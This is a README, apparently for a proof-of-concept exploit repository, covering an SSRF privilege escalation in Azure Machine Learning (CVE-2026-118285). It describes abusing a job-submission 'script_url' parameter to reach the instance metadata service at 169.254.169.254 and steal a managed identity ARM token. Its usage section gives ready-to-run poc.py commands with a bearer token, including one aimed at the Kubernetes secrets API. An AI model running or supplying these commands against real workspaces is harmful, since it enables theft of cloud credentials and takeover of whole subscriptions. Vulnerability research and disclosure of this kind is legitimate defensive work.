PoC for CVE-2026-118285 — Azure ML SSRF Privilege Escalation (CVSS 9.6)
<p align="center"><img src="https://capsule-render.vercel.app/api?type=waving&color=0:0d1117,100:e94560&height=200§ion=header&text=CVE-2026-118285&fontSize=46&fontColor=ffffff&fontAlignY=38&desc=Azure%20ML%20%E2%80%94%20SSRF%20%2F%20Privilege%20Escalation%20(CVSS%209.6)&descAlignY=58&descSize=15" /></p>
<p align="center">
<img src="https://img.shields.io/badge/CVE-2026--118285-critical?style=for-the-badge&color=e94560" />
<img src="https://img.shields.io/badge/CVSS-9.6-critical?style=for-the-badge&color=ff0000" />
<img src="https://img.shields.io/badge/CWE-918-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/Azure%20ML-cloud-blue?style=for-the-badge&logo=microsoftazure" />
</p>
## Overview
**CVE-2026-118285** — CVSS 9.6 CRITICAL SSRF in Azure Machine Learning. The job submission endpoint fetches a `script_url` parameter server-side without allowlist validation. An authenticated ML workspace contributor can point this to the Azure IMDS and steal the compute instance's managed identity ARM token, escalating to full subscription contributor.
## Attack Flow
```mermaid
flowchart TD
A[ML Workspace Contributor] -->|POST /api/v2/jobs script_url=IMDS| B[AML Job Submission API]
B -->|server-side HTTP fetch — no allowlist| C[Azure IMDS 169.254.169.254]
C --> D[Managed Identity ARM Token]
D --> E[ARM API — full subscription contributor access]
E --> F[Read/modify all resources in subscription]
```
## Usage
```bash
python3 poc.py --workspace-url https://ml.azure.com/workspaces/MYWS --bearer "eyJ..."
python3 poc.py --workspace-url https://ml.azure.com/workspaces/MYWS --bearer "eyJ..." --target "http://kubernetes.default.svc/api/v1/namespaces/default/secrets"
```
## References
- [NVD CVE-2026-118285](https://nvd.nist.gov/vuln/detail/CVE-2026-118285)
- [CWE-918: SSRF](https://cwe.mitre.org/data/definitions/918.html)
<p align="center"><img src="https://capsule-render.vercel.app/api?type=waving&color=0:e94560,60:3d0015,100:0d1117&hei